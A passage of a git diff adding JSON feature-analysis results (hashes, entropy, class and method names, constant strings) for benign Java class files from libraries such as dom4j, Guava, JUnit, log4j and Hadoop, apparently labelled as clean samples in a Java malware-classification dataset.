"_id": "69cebdac-3049-41bf-87ff-91c06c485178", "verbose": {"java": {"JAVA String Analysis": {"combined strings entropy": 4.87696014898311}, "constant strings": ["org.jets3t.service.impl.soap.axis._2006_03_01.Group", "http://s3.amazonaws.com/doc/2006-03-01/", "Group", "URI", "http://www.w3.org/2001/XMLSchema", "string"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "5bce62b5fb2e0c039e3c2426109c41b6f1f0bae7", "file_name": "java_clean/38f26a83fad71c9578211fef0d36e4ceca75c67928792cf455f13e2001c03d7f", "_id": "69cebdac-3049-41bf-87ff-91c06c485178", "score": 0, "entropy": 5.519029787740766, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 3594, "ssdeep": "48:6DgGGE6JS6yyFlCdkVvx/bzqUO8lhMb15+d3EPsgRrn/uu3wqIzyJLoxxxa:608UFlUU9bO4lhMbe9EPThDJL6xxa", "sha256": "38f26a83fad71c9578211fef0d36e4ceca75c67928792cf455f13e2001c03d7f", "md5": "bfa75a17c5de8cbb6914230ed33bcc0c", "parent_sha256": "38f26a83fad71c9578211fef0d36e4ceca75c67928792cf455f13e2001c03d7f"}} \ No newline at end of file diff --git a/java_classification/data/clean/3906506b7d8dd7b043d4d716ae9478c8d0506e00a29dd913c07d5605f09e6e03.results b/java_classification/data/clean/3906506b7d8dd7b043d4d716ae9478c8d0506e00a29dd913c07d5605f09e6e03.results new file mode 100755 index 0000000..130389c --- /dev/null +++ b/java_classification/data/clean/3906506b7d8dd7b043d4d716ae9478c8d0506e00a29dd913c07d5605f09e6e03.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 47, "class_name": "org/dom4j/datatype/DatatypeAttribute", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "interfaces": ["com/sun/msv/datatype/SerializationContext", "org/relaxng/datatype/ValidationContext"], "sourcefile": "DatatypeAttribute.java", "method_names": ["", "", "toString", "getXSDatatype", "getNamespacePrefix", "getBaseUri", "isNotation", "isUnparsedEntity", "resolveNamespacePrefix", "getQName", "getValue", "setValue", "getData", "setData", "getParent", "setParent", "supportsParent", "isReadOnly", "validate", "convertToValue"], "minor_version": 0, "const_pool_count": 194}}, "_id": "451d6537-2ae0-412a-9437-c38d1291f3af", "verbose": {"java": {"constant strings": [" [Attribute: name ", " value \"", "\" data: ", "]"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "d4667b4a90b7900bfac04cb44dc8375c1dfb6f4d", "file_name": "java_clean/3906506b7d8dd7b043d4d716ae9478c8d0506e00a29dd913c07d5605f09e6e03", "_id": "451d6537-2ae0-412a-9437-c38d1291f3af", "score": 0, "entropy": 5.277006697111827, "libmagic": "compiled Java class data, version 47.0 (Java 1.3)", "file_size": 4708, "ssdeep": "96:BCw5lmwrnhElZOljf19DDTEZNBPZmxcmb9MKmTOh:xld2PsbDDTEBPs79MKQOh", "sha256": "3906506b7d8dd7b043d4d716ae9478c8d0506e00a29dd913c07d5605f09e6e03", "md5": "748f0d9b913dcb7c070dc95397cabece", "parent_sha256": "3906506b7d8dd7b043d4d716ae9478c8d0506e00a29dd913c07d5605f09e6e03"}} \ No newline at end of file diff --git a/java_classification/data/clean/39fa640f6963754010c4687b7ca424fab5453fe06534134ddfdefcf3fb963d1c.results b/java_classification/data/clean/39fa640f6963754010c4687b7ca424fab5453fe06534134ddfdefcf3fb963d1c.results new file mode 100755 index 0000000..c6fc1b7 --- /dev/null +++ b/java_classification/data/clean/39fa640f6963754010c4687b7ca424fab5453fe06534134ddfdefcf3fb963d1c.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "SchemaParser.java", "class_name": "org/dom4j/datatype/SchemaParser", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 47, "method_names": ["", "", "build", "build", "internalBuild", "onDatatypeElement", "onNamedSchemaComplexType", "onSchemaComplexType", "onChildElements", "onDatatypeAttribute", "dataTypeForXsdAttribute", "onNamedSchemaSimpleType", "loadXSDatatypeFromSimpleType", "deriveSimpleType", "getDatatypeElementFactory", "getTypeByName", "getQName", "onSchemaError", ""], "minor_version": 0, "const_pool_count": 454}}, "_id": "177c3ea2-4e1b-4931-8b5e-76ab6058d575", "verbose": {"java": {"JAVA String Analysis": {"combined strings entropy": 4.62810310868433, "obfuscated_data": {"base64": {"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/": "sequence"}}}, "constant strings": ["schemaLocation", "No EntityResolver available", "Could not resolve the schema URI: ", "Failed to load schema: ", "Caught: ", "name", "type", "Warning: Couldn\\'t find XSDatatype for type: ", " attribute: ", "The attribute: ", " has no type attribute and does not contain a ", " element", "base", "Invalid base type: ", " when trying to build restriction: ", "The simpleType element: ", " must contain a base attribute or simpleType", " element", "No . Could not create XSDatatype for simpleType: ", "value", "fixed", "", "Invalid restriction: ", "xsd", "http://www.w3.org/2001/XMLSchema", "element", "attribute", "simpleType", "complexType", "restriction", "sequence", "choice", "all", "include"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "2015b5421c543b5ce4933cfc57629327e3f473c6", "file_name": "java_clean/39fa640f6963754010c4687b7ca424fab5453fe06534134ddfdefcf3fb963d1c", "_id": "177c3ea2-4e1b-4931-8b5e-76ab6058d575", "score": 0, "entropy": 5.909978974209629, "libmagic": "compiled Java class data, version 47.0 (Java 1.3)", "file_size": 11239, "ssdeep": "192:QLaxlUyJAQUQFWdStGtk8zZwnO9+SV9k0KwJewgttU/TEC3KO6:Uax1J2Nk8yrCKwJP4U/TEMK3", "sha256": "39fa640f6963754010c4687b7ca424fab5453fe06534134ddfdefcf3fb963d1c", "md5": "a077ce2dc1791fdc49e3ad15993dbcf3", "parent_sha256": "39fa640f6963754010c4687b7ca424fab5453fe06534134ddfdefcf3fb963d1c"}} \ No newline at end of file diff --git a/java_classification/data/clean/3a49aa0c09da14021400db76007f4f8fa4dba0f6ac8b07ed5fecfdc81e5fb704.results b/java_classification/data/clean/3a49aa0c09da14021400db76007f4f8fa4dba0f6ac8b07ed5fecfdc81e5fb704.results new file mode 100755 index 0000000..9ba2c42 --- /dev/null +++ b/java_classification/data/clean/3a49aa0c09da14021400db76007f4f8fa4dba0f6ac8b07ed5fecfdc81e5fb704.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 50, "class_name": "hu/openig/mechanics/AchievementManager$5", "access_permissions": ["ACC_SUPER"], "interfaces": ["hu/openig/core/Pred2"], "sourcefile": "AchievementManager.java", "method_names": ["", "invoke", "invoke"], "minor_version": 0, "const_pool_count": 56}}, "_id": "70560168-57cc-4124-9b20-4b045c52be46", "verbose": {"java": {"signatures": ["Ljava/lang/Object;Lhu/openig/core/Pred2;"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "127d80cb3f7fd689b16b220d3a85287d40b7b48b", "file_name": "java_clean/3a49aa0c09da14021400db76007f4f8fa4dba0f6ac8b07ed5fecfdc81e5fb704", "_id": "70560168-57cc-4124-9b20-4b045c52be46", "score": 0, "entropy": 5.25088288223315, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 1231, "ssdeep": "24:N4Z/fcyS5ljCgU2q0xP3buTe/6l1hgnrKR+CzBJYgCymceXdE34ToV:K/0yGlRqA3bu6G1ursRT+BkeoV", "sha256": "3a49aa0c09da14021400db76007f4f8fa4dba0f6ac8b07ed5fecfdc81e5fb704", "md5": "761371aa05a120069b0b67cf5c859ac3", "parent_sha256": "3a49aa0c09da14021400db76007f4f8fa4dba0f6ac8b07ed5fecfdc81e5fb704"}} \ No newline at end of file diff --git a/java_classification/data/clean/3a7b8ca1c99a481b40065cb59c3236d1004016f6071c8c1433d4b0cb0f7ec98f.results b/java_classification/data/clean/3a7b8ca1c99a481b40065cb59c3236d1004016f6071c8c1433d4b0cb0f7ec98f.results new file mode 100755 index 0000000..03aa381 --- /dev/null +++ b/java_classification/data/clean/3a7b8ca1c99a481b40065cb59c3236d1004016f6071c8c1433d4b0cb0f7ec98f.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "MainScreen.java", "class_name": "hu/openig/screen/items/MainScreen", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["", "doContinue", "doExit", "doPlayIntro", "doPlayTitle", "doSettings", "draw", "mouse", "onEndGame", "onEnter", "checkExistingSave", "isSaveAvailable", "onFinish", "onInitialize", "onLeave", "onResize", "screen", "selectRandomBackground", "useBackground", "load", "doPlayCredits", "switchTo", "keyboard", "scaleBase", "scale", "access$0", "access$1"], "minor_version": 0, "const_pool_count": 634}}, "_id": "ed785268-b9b8-47ae-9c31-8a540b34bcb3", "verbose": {"java": {"signatures": ["()Lhu/openig/core/Pair;"], "constant strings": ["intro/intro_1", "intro/intro_2", "intro/intro_3", "intro/gt_interactive_intro", "v0.95.093 - ", "Save-Lookup", "save/default", "mainmenu.campaign", "mainmenu.skirmish", "mainmenu.continue", "mainmenu.load", "mainmenu.multiplayer", "mainmenu.settings", "mainmenu.videos", "mainmenu.videos.intro", "mainmenu.videos.title", "credits", "mainmenu.exit", "achievements", "profile", "newBackground is null", "en", "hu", "de", "fr"], "JAVA String Analysis": {"combined strings entropy": 4.36925213203677, "obfuscated_data": {"signatures": {"file": "rot0"}, "base64": {"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/": "achievements"}}}}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "527ac9e038038ea8b674b906b2f1a6891c6511a2", "file_name": "java_clean/3a7b8ca1c99a481b40065cb59c3236d1004016f6071c8c1433d4b0cb0f7ec98f", "_id": "ed785268-b9b8-47ae-9c31-8a540b34bcb3", "score": 0, "entropy": 5.867574810833823, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 12889, "ssdeep": "384:nqdtgFKkU0l/B04IgfQbTa8vowh/hjhpYujkW:othkU0lC4IHPoMNzt", "sha256": "3a7b8ca1c99a481b40065cb59c3236d1004016f6071c8c1433d4b0cb0f7ec98f", "md5": "6e085f4de742a9a2bd9f54696eacab82", "parent_sha256": "3a7b8ca1c99a481b40065cb59c3236d1004016f6071c8c1433d4b0cb0f7ec98f"}} \ No newline at end of file diff --git a/java_classification/data/clean/3b0521f56f5c460c8c41371d511924a3a99d99605d74cc6804156725a9d1033a.results b/java_classification/data/clean/3b0521f56f5c460c8c41371d511924a3a99d99605d74cc6804156725a9d1033a.results new file mode 100755 index 0000000..2f145df --- /dev/null +++ b/java_classification/data/clean/3b0521f56f5c460c8c41371d511924a3a99d99605d74cc6804156725a9d1033a.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "AbstractAutocompleteComponent.java", "class_name": "org/odlabs/wiquery/ui/autocomplete/AbstractAutocompleteComponent$1", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["", "getObject", "getObject", "getObject"], "minor_version": 0, "const_pool_count": 55}}, "_id": "42f4cf5d-f0c8-4e2e-95ea-bee0c7d45953", "verbose": {"java": {"signatures": ["Lorg/apache/wicket/model/Model;"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "0a8f5bd5f7076f7a813cd36b6cf224246d66041a", "file_name": "java_clean/3b0521f56f5c460c8c41371d511924a3a99d99605d74cc6804156725a9d1033a", "_id": "42f4cf5d-f0c8-4e2e-95ea-bee0c7d45953", "score": 0, "entropy": 5.1972010135810205, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 1575, "ssdeep": "24:Ko12XQXw2Xnvuljp2XTxI2Xoe90W/EJ8QK2Xk2XRC/K2lEI9+Mq4GTT:SgXvGl8jVpW8QZ7EP+n4GH", "sha256": "3b0521f56f5c460c8c41371d511924a3a99d99605d74cc6804156725a9d1033a", "md5": "37ff4d0d81646b832709b3a78a27ab3a", "parent_sha256": "3b0521f56f5c460c8c41371d511924a3a99d99605d74cc6804156725a9d1033a"}} \ No newline at end of file diff --git a/java_classification/data/clean/3b1c8c7f65c1d0139181cdc5e65026928bff42be928c4a1e72cd2e163208ccf2.results b/java_classification/data/clean/3b1c8c7f65c1d0139181cdc5e65026928bff42be928c4a1e72cd2e163208ccf2.results new file mode 100755 index 0000000..e01e70c --- /dev/null +++ b/java_classification/data/clean/3b1c8c7f65c1d0139181cdc5e65026928bff42be928c4a1e72cd2e163208ccf2.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 50, "class_name": "hu/openig/editors/MapEditor$18", "access_permissions": ["ACC_SUPER"], "interfaces": ["java/lang/Runnable"], "sourcefile": "MapEditor.java", "method_names": ["", "run"], "minor_version": 0, "const_pool_count": 36}}, "_id": "3b831e1d-dd54-4e1f-bd90-8c13415c918f", "metadata": {"mimetype": "application/x-java-applet", "sha1": "fc920723d76228cdb3a397ab33fd2f9d71cd20ae", "file_name": "java_clean/3b1c8c7f65c1d0139181cdc5e65026928bff42be928c4a1e72cd2e163208ccf2", "_id": "3b831e1d-dd54-4e1f-bd90-8c13415c918f", "score": 0, "entropy": 5.123451896731964, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 697, "ssdeep": "12:9C9udrqRAKNAvXWNjO4uZ9lPsogOud78g9cM7/yiU/NWwwDCA0lQu095ApN4uO6l:GulqKK2/F4U9lj/uVtcodWI9GphH", "sha256": "3b1c8c7f65c1d0139181cdc5e65026928bff42be928c4a1e72cd2e163208ccf2", "md5": "8d1f0c6b727f79d2592e7ae23f27d61d", "parent_sha256": "3b1c8c7f65c1d0139181cdc5e65026928bff42be928c4a1e72cd2e163208ccf2"}} \ No newline at end of file diff --git a/java_classification/data/clean/3c7893527cb32f6714bf340778febc5cea99ae7c1d9061f47b17b3fc919d03eb.results b/java_classification/data/clean/3c7893527cb32f6714bf340778febc5cea99ae7c1d9061f47b17b3fc919d03eb.results new file mode 100755 index 0000000..1943c77 --- /dev/null +++ b/java_classification/data/clean/3c7893527cb32f6714bf340778febc5cea99ae7c1d9061f47b17b3fc919d03eb.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 50, "class_name": "org/jboss/vfs/util/IncludeExcludeVisitorAttributes", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "interfaces": ["org/jboss/vfs/VirtualFileFilter"], "sourcefile": "IncludeExcludeVisitorAttributes.java", "method_names": ["", "accepts"], "minor_version": 0, "const_pool_count": 144}}, "_id": "8e27086a-445c-4e41-a8c4-a6f8f37bc4b4", "verbose": {"java": {"signatures": ["Ljava/util/Set;", "Ljava/util/Set;", "(Ljava/util/Set;Ljava/util/Set;)V"], "constant strings": ["Exception while filtering file: "], "JAVA String Analysis": {"obfuscated_data": {"signatures": {"file": "rot0"}}}}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "423945b16aed1d3e615b9715c756b26f32156ad9", "file_name": "java_clean/3c7893527cb32f6714bf340778febc5cea99ae7c1d9061f47b17b3fc919d03eb", "_id": "8e27086a-445c-4e41-a8c4-a6f8f37bc4b4", "score": 0, "entropy": 5.571102040285345, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 2639, "ssdeep": "48:W8Mkl1sotA1bhLfoNn3H0hvwBJynCEqBbsmLV9eqnI+GI:W83lOVgN328JACB/T2I", "sha256": "3c7893527cb32f6714bf340778febc5cea99ae7c1d9061f47b17b3fc919d03eb", "md5": "c901b803af186db747447ac85872b532", "parent_sha256": "3c7893527cb32f6714bf340778febc5cea99ae7c1d9061f47b17b3fc919d03eb"}} \ No newline at end of file diff --git a/java_classification/data/clean/3c8f142101e3928eb164f08aa43319b7b51b84879a461a52e561d6a52fac35a5.results b/java_classification/data/clean/3c8f142101e3928eb164f08aa43319b7b51b84879a461a52e561d6a52fac35a5.results new file mode 100755 index 0000000..ac8342c --- /dev/null +++ b/java_classification/data/clean/3c8f142101e3928eb164f08aa43319b7b51b84879a461a52e561d6a52fac35a5.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 49, "class_name": "com/google/common/collect/ForwardingSortedMap", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER", "ACC_ABSTRACT"], "interfaces": ["java/util/SortedMap"], "sourcefile": "ForwardingSortedMap.java", "method_names": ["", "delegate", "comparator", "firstKey", "headMap", "lastKey", "subMap", "tailMap", "unsafeCompare", "standardContainsKey", "standardRemove", "standardSubMap", "delegate", "delegate"], "minor_version": 0, "const_pool_count": 147}}, "_id": "2a5233b2-067f-4f73-9568-9cdfeb5b6b14", "verbose": {"java": {"signatures": ["()Ljava/util/SortedMap;", "()Ljava/util/Comparator<-TK;>;", "()TK;", "(TK;)Ljava/util/SortedMap;", "()TK;", "(TK;TK;)Ljava/util/SortedMap;", "(TK;)Ljava/util/SortedMap;", "(Ljava/lang/Object;)TV;", "(TK;TK;)Ljava/util/SortedMap;", "Lcom/google/common/collect/ForwardingMap;Ljava/util/SortedMap;"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "3a39ed9e4fb52437613f630936f4e6b7c1142461", "file_name": "java_clean/3c8f142101e3928eb164f08aa43319b7b51b84879a461a52e561d6a52fac35a5", "_id": "2a5233b2-067f-4f73-9568-9cdfeb5b6b14", "score": 0, "entropy": 5.2055085397042316, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 4357, "ssdeep": "48:NKLB0QyFlwpj4unMFHrl0dQNhHIJ5ZdJkEW7HmEQpAYncYnfKeOPjgdoTJ+DsAU6:NKixFlwNS6aroJ5kCRtujgW2sAUr1w3", "sha256": "3c8f142101e3928eb164f08aa43319b7b51b84879a461a52e561d6a52fac35a5", "md5": "2ba646e49170eb408ae99f624fb38cd4", "parent_sha256": "3c8f142101e3928eb164f08aa43319b7b51b84879a461a52e561d6a52fac35a5"}} \ No newline at end of file diff --git a/java_classification/data/clean/3d23863c0b6b2dce7f946f60d6dc98369e88f32e49905eeb48d3715189448c44.results b/java_classification/data/clean/3d23863c0b6b2dce7f946f60d6dc98369e88f32e49905eeb48d3715189448c44.results new file mode 100755 index 0000000..99e6ff2 --- /dev/null +++ b/java_classification/data/clean/3d23863c0b6b2dce7f946f60d6dc98369e88f32e49905eeb48d3715189448c44.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "CategoryExplorerModel.java", "class_name": "org/apache/log4j/lf5/viewer/categoryexplorer/CategoryExplorerModel", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["", "addLogRecord", "getRootCategoryNode", "getCategoryNode", "getCategoryNode", "isCategoryPathActive", "addCategory", "update", "setDescendantSelection", "setParentSelection", "addActionListener", "removeActionListener", "resetAllNodeCounts", "getTreePathToRoot", "notifyActionListeners", "refresh"], "minor_version": 3, "const_pool_count": 233}}, "_id": "ebc383e7-3dc2-40ed-84fb-f2ece734881b", "verbose": {"java": {"constant strings": ["Nodes Selection changed"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "98790f1a8d886b344bd1f03dd1d0b5616d994cc0", "file_name": "java_clean/3d23863c0b6b2dce7f946f60d6dc98369e88f32e49905eeb48d3715189448c44", "_id": "ebc383e7-3dc2-40ed-84fb-f2ece734881b", "score": 0, "entropy": 5.62210764471099, "libmagic": "compiled Java class data, version 45.3", "file_size": 6833, "ssdeep": "96:gY2yGl5ermP+ugEK1/NLsdqHzbQfKEnS80et1sevXpQOeiduporoL:r/Gl8u+N/NLsdwbQfdnuehQOJLo", "sha256": "3d23863c0b6b2dce7f946f60d6dc98369e88f32e49905eeb48d3715189448c44", "md5": "7de357351cb43a83f1670dee8805882b", "parent_sha256": "3d23863c0b6b2dce7f946f60d6dc98369e88f32e49905eeb48d3715189448c44"}} \ No newline at end of file diff --git a/java_classification/data/clean/3d880ba795ab163c49941816a8cd488c378c6e25a29c7039c8ac2cb71ccdc98a.results b/java_classification/data/clean/3d880ba795ab163c49941816a8cd488c378c6e25a29c7039c8ac2cb71ccdc98a.results new file mode 100755 index 0000000..822da9d --- /dev/null +++ b/java_classification/data/clean/3d880ba795ab163c49941816a8cd488c378c6e25a29c7039c8ac2cb71ccdc98a.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "HttpOutputStream.java", "class_name": "org/mortbay/http/HttpOutputStream$HttpWriter", "access_permissions": ["ACC_SUPER"], "major_version": 46, "method_names": ["", "getLock", "write", "write", "write", "write", "write", "writeEncoded", "flush", "close", "destroy"], "minor_version": 0, "const_pool_count": 152}}, "_id": "46a7b72b-5324-4eda-9ca5-20590d746b83", "metadata": {"mimetype": "application/x-java-applet", "sha1": "d67160bf34d0e2d228b154f599a3c609cf6222e8", "file_name": "java_clean/3d880ba795ab163c49941816a8cd488c378c6e25a29c7039c8ac2cb71ccdc98a", "_id": "46a7b72b-5324-4eda-9ca5-20590d746b83", "score": 0, "entropy": 5.584312745732161, "libmagic": "compiled Java class data, version 46.0 (Java 1.2)", "file_size": 3965, "ssdeep": "48:OCbIsiq6cKlw9cz60g/xGRYFP/9+4ApAzMfs7JTIa81EhPQqbVz7tdbGE79N+wfv:NIs6luV/9+4A5UFTIxtAVBrDJ7tKQW45", "sha256": "3d880ba795ab163c49941816a8cd488c378c6e25a29c7039c8ac2cb71ccdc98a", "md5": "3861b3a79ec0d5678754e65e990ee04f", "parent_sha256": "3d880ba795ab163c49941816a8cd488c378c6e25a29c7039c8ac2cb71ccdc98a"}} \ No newline at end of file diff --git a/java_classification/data/clean/3de8177e13d627446667e0a365dc809b7b2b448f5e0e4974dafa58dd9cf92116.results b/java_classification/data/clean/3de8177e13d627446667e0a365dc809b7b2b448f5e0e4974dafa58dd9cf92116.results new file mode 100755 index 0000000..cedd78f --- /dev/null +++ b/java_classification/data/clean/3de8177e13d627446667e0a365dc809b7b2b448f5e0e4974dafa58dd9cf92116.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 49, "class_name": "com/google/common/collect/Collections2$1", "access_permissions": ["ACC_FINAL", "ACC_SUPER"], "interfaces": ["com/google/common/base/Function"], "sourcefile": "Collections2.java", "method_names": ["", "apply"], "minor_version": 0, "const_pool_count": 39}}, "_id": "8a117d9b-bd6c-49d4-8742-efdf54c0472e", "verbose": {"java": {"signatures": ["Ljava/lang/Object;Lcom/google/common/base/Function;"], "constant strings": ["(this Collection)"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "b0982593431bb0d982c5a44c376d1075975f06a9", "file_name": "java_clean/3de8177e13d627446667e0a365dc809b7b2b448f5e0e4974dafa58dd9cf92116", "_id": "8a117d9b-bd6c-49d4-8742-efdf54c0472e", "score": 0, "entropy": 5.109056103754692, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 914, "ssdeep": "12:QQTTCKzulPsoxhI638l8ZSt+8gSRpnd40yiUeZQDF67ROv67TEO9MO0OSBSotK:ZTTCKzuljb3tSAKdNNZQDY70i7IOCPK", "sha256": "3de8177e13d627446667e0a365dc809b7b2b448f5e0e4974dafa58dd9cf92116", "md5": "cc931e2d65437b3ef9d79f644882e64d", "parent_sha256": "3de8177e13d627446667e0a365dc809b7b2b448f5e0e4974dafa58dd9cf92116"}} \ No newline at end of file diff --git a/java_classification/data/clean/3e0b966ac3793470a4a8e96e17e10156d9a6b1a22a2df57c2c2b367a48d0525e.results b/java_classification/data/clean/3e0b966ac3793470a4a8e96e17e10156d9a6b1a22a2df57c2c2b367a48d0525e.results new file mode 100755 index 0000000..3970f05 --- /dev/null +++ b/java_classification/data/clean/3e0b966ac3793470a4a8e96e17e10156d9a6b1a22a2df57c2c2b367a48d0525e.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "ClassRoadie.java", "class_name": "org/junit/internal/runners/ClassRoadie", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "runUnprotected", "addFailure", "runProtected", "runBefores", "runAfters"], "minor_version": 0, "const_pool_count": 131}}, "_id": "51858bd3-db76-4a13-9bb2-b04f66aba708", "metadata": {"mimetype": "application/x-java-applet", "sha1": "951d5ba20e8c5adddc97a59901a9e230943bf73e", "file_name": "java_clean/3e0b966ac3793470a4a8e96e17e10156d9a6b1a22a2df57c2c2b367a48d0525e", "_id": "51858bd3-db76-4a13-9bb2-b04f66aba708", "score": 0, "entropy": 5.353824493938049, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 3201, "ssdeep": "48:iQJQT8JXNQT+bxFl001WGRQyugOdQTxQ8esqEN3k+ULx7/TTGzg0z9IA4Nw9:iQot+TlN+qphN3RqnWL+AAw", "sha256": "3e0b966ac3793470a4a8e96e17e10156d9a6b1a22a2df57c2c2b367a48d0525e", "md5": "241fdc924cc80a98c662c0aebd64250f", "parent_sha256": "3e0b966ac3793470a4a8e96e17e10156d9a6b1a22a2df57c2c2b367a48d0525e"}} \ No newline at end of file diff --git a/java_classification/data/clean/3e5f765b67d3da535c091be35560e5b3fa59a16a3a2daa9fd35c7cf3e6947d83.results b/java_classification/data/clean/3e5f765b67d3da535c091be35560e5b3fa59a16a3a2daa9fd35c7cf3e6947d83.results new file mode 100755 index 0000000..903f716 --- /dev/null +++ b/java_classification/data/clean/3e5f765b67d3da535c091be35560e5b3fa59a16a3a2daa9fd35c7cf3e6947d83.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "JRecord.java", "class_name": "org/apache/hadoop/record/compiler/JRecord$CppRecord", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["", "getTypeIDObjectString", "genDecl", "genSetRTIFilter", "genSetupRTIFields", "genCode"], "minor_version": 0, "const_pool_count": 443}}, "_id": "c46c5909-ebba-43c2-a589-6d356c50fb61", "verbose": {"java": {"signatures": ["Ljava/util/ArrayList;>;", "(Ljava/lang/String;Ljava/util/ArrayList;>;)V", "(Ljava/io/FileWriter;Ljava/io/FileWriter;Ljava/util/ArrayList;)V"], "constant strings": ["\\\\.", "::", "new ::hadoop::StructTypeID(", "::getTypeInfo().getFieldTypeInfos())", " ", " ", ";\\n", "::setTypeFilter(rti.getNestedStructTypeInfo(\"", "\"));\\n", "void ", "::setupRtiFields() {\\n", "if (NULL == p_rio_rtiFilter) return;\\n", "if (NULL != p_rio_rtiFilterFields) return;\\n", "p_rio_rtiFilterFields = new int[p_rio_rtiFilter->getFieldTypeInfos().size()];\\n", "for (unsigned int _rio_i=0; _rio_igetFieldTypeInfos().size(); _rio_i++) {\\n", "p_rio_rtiFilterFields[_rio_i] = 0;\\n", "}\\n", "for (unsigned int _rio_j=0; _rio_jgetFieldTypeInfos().size(); _rio_j++) {\\n", "if (*(p_rio_rtiFilter->getFieldTypeInfos()[_rio_i]) == *(p_rio_recTypeInfo->getFieldTypeInfos()[_rio_j])) {\\n", "p_rio_rtiFilterFields[_rio_i] = _rio_j+1;\\n", "break;\\n", "namespace ", " {\\n", "class ", " : public ::hadoop::Record {\\n", "private:\\n", "static ::hadoop::RecordTypeInfo* p_rio_recTypeInfo;\\n", "static ::hadoop::RecordTypeInfo* p_rio_rtiFilter;\\n", "static int* p_rio_rtiFilterFields;\\n", "static ::hadoop::RecordTypeInfo* setupTypeInfo();\\n", "static void setupRtiFields();\\n", "virtual void deserializeWithoutFilter(::hadoop::IArchive& _rio_a, const char* _rio_tag);\\n", "public:\\n", "static const ::hadoop::RecordTypeInfo& getTypeInfo() {return *p_rio_recTypeInfo;}\\n", "static void setTypeFilter(const ::hadoop::RecordTypeInfo& rti);\\n", "static void setTypeFilter(const ::hadoop::RecordTypeInfo* prti);\\n", "virtual void serialize(::hadoop::OArchive& _rio_a, const char* _rio_tag) const;\\n", "virtual void deserialize(::hadoop::IArchive& _rio_a, const char* _rio_tag);\\n", "virtual const ::std::string& type() const;\\n", "virtual const ::std::string& signature() const;\\n", "virtual bool operator<(const ", "& peer_) const;\\n", "virtual bool operator==(const ", "virtual ~", "() {};\\n", "}; // end record ", "\\n", "} // end namespace ", "::hadoop::RecordTypeInfo* ", "::p", "_rio_recTypeInfo", " = ", "::setupTypeInfo();\\n", "_rio_rtiFilter", " = NULL;\\n", "int* ", "_rio_rtiFilterFields", " = NULL;\\n\\n", "::setupTypeInfo() {\\n", "::hadoop::RecordTypeInfo* p = new ::hadoop::RecordTypeInfo(\"", "\");\\n", "return p;\\n", "::setTypeFilter(const ", "::hadoop::RecordTypeInfo& rti) {\\n", "if (NULL != p_rio_rtiFilter) {\\n", "delete p_rio_rtiFilter;\\n", "p_rio_rtiFilter = new ::hadoop::RecordTypeInfo(rti);\\n", "if (NULL != p_rio_rtiFilterFields) {\\n", "delete p_rio_rtiFilterFields;\\n", "p_rio_rtiFilterFields = NULL;\\n", "::hadoop::RecordTypeInfo* prti) {\\n", "if (NULL != prti) {\\n", "setTypeFilter(*prti);\\n", "::serialize(::hadoop::OArchive& ", "_rio_a", ", const char* ", "_rio_tag", ") const {\\n", "_rio_a.startRecord(*this,_rio_tag);\\n", "_rio_a.serialize(", ",", ".length(),\"", ",\"", "_rio_a.endRecord(*this,_rio_tag);\\n", "return;\\n", "::deserializeWithoutFilter(::hadoop::IArchive& ", ") {\\n", "{\\nsize_t len=0; _rio_a.deserialize(", ",len,\"", "\");\\n}\\n", "_rio_a.deserialize(", "::deserialize(::hadoop::IArchive& ", "if (NULL == p_rio_rtiFilter) {\\n", "deserializeWithoutFilter(_rio_a, _rio_tag);\\n", "// if we\\'re here, we need to read based on version info\\n", "setupRtiFields();\\n", "else ", "if (", " == p", "[", "_rio_", "i]) {\\n", "else {\\n", "const std::vector< ::hadoop::FieldTypeInfo* >& typeInfos = p_rio_rtiFilter->getFieldTypeInfos();\\n", "::hadoop::Utils::skip(_rio_a, typeInfos[_rio_i]->getFieldID()->c_str(), 